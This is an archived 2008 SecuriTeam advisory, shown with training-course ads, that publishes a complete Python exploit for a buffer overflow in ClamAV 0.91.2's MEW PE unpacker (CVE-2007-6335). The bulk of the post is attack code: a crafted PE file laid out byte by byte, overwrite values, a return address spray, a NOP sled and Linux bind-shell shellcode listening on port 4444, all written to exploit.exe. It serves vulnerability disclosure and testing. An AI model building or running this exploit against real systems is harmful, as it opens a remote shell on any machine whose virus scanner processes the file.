Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] ClamAV MEW PE Vulnerability (Exploit)

Subject: [EXPL] ClamAV MEW PE Vulnerability (Exploit)
Date: 8 Jan 2008 09:02:38 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  ClamAV MEW PE Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in ClamAV allows attackers to supply the program with a 
malformed MEW PE file which in turn will cause the program to overflow an 
internal buffer and execute arbitrary code, the following exploit code can 
be used to test the problem.

DETAILS

Vulnerable Systems:
 * ClamAV version 0.91.2

Exploit:

'''

clamav-0.91.2 exploit ( CVE-2007-6335 )
(c) Thomas Pollet thomas.pollet@gmail.com

we own dsize in
read(desc, src + dsize, exe_sections[i + 1].rsz)) != exe_sections[i + 
1].rsz)
exploited with randomize_va_space = 0

'''

import struct

exe=(
"\x4d\x5a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x02\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x00\x00"
"\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x53\x00\x00\x00\x10\x00\x00"
"\x0c\x00\x00\x00\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x20\x00\x00\x10\x00\x00\x00\x00\x10\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x0b\x53\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x4d\x45\x57\x00\x46\x12\xd2\xc3\xff\xfa"
"DSIZE"
"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\xc0"
"\x02\xd2\x75\xdb\x8a\x16\xeb\xd4"
"SSIZE"
"\x00\x50\x00\x00\xff\xff\xff\x00"
"\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\xc0"
"\xbe\x1c\x50\x40\x00\x8b\xde\xad\xad\x50\xad\x97\xb2\x80\xa4\xb6\x80\xff\x13\x73"
"\xf9\x33\xc9\xff\x13\x73\x16\x33\xc0\xff\x13\x73\x21\xb6\x80\x41\xb0\x10\xff\x13"
"\x12\xc0\x73\xfa\x75\x3e\xaa\xeb\xe0\xe8\x76\x4e\x00\x00\x02\xf6\x83\xd9\x01\x75"
"\x0e\xff\x53\xfc\xeb\x26\xac\xd1\xe8\x74\x2f\x13\xc9\xeb\x1a\x91\x48\xc1\xe0\x08"
"\xac\xff\x53\xfc\x3d\x00\x7d\x00\x00\x73\x0a\x80\xfc\x05\x73\x06\x83\xf8\x7f\x77"
"\x02\x41\x41\x95\x8b\xc5\xb6\x00\x56\x8b\xf7\x2b\xf0\xf3\xa4\x5e\xeb\x9b\xad\x85"
"\xc0\x75\x90\xad\x96\xad\x97\x56\xac\x3c\x00\x75\xfb\xff\x53\xf0\x95\x56\xad\x0f"
"\xc8\x40\x59\x74\xec\x79\x07\xac\x3c\x00\x75\xfb\x91\x40\x50\x55\xff\x53\xf4\xab"
"\x85\x01\x75\xe5\xc3\x00\x00\x00\x00\x00\x00\x00"
"COPYSIZE"
"CRAP"
"\x73\x00\xe9\x49\xae\xff\xff\x0c\x50\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xdd\x52\x00\x00\x0c\x50\x00\x00")

shellcode= ( #linux_ia32_bind -  LPORT=4444 Size=84 Encoder=None 
http://metasploit.com */
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80"
)

exe = exe.replace("DSIZE",struct.pack('<L',0x01010000 | 0xb67b))#dsize
exe = exe.replace("SSIZE",struct.pack('<L',0x49838da9 + 0x7000 ))
exe = exe.replace("COPYSIZE",struct.pack('<L',0xf7070707 ))
exe = exe.replace("CRAP","A"*768)

exe+="a" #alignment
exe+=struct.pack('<L', 0xbfff9010 ) * 16000 #return address
exe+="\x90"* 0x4000
exe+=shellcode

fout = open("exploit.exe","w")
fout.write(exe)
fout.close()

# milw0rm.com [2008-01-07]


ADDITIONAL INFORMATION

The information has been provided by  <mailto:thomas.pollet@gmail.com> 
Thomas Pollet.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] ClamAV MEW PE Vulnerability (Exploit), SecuriTeam <=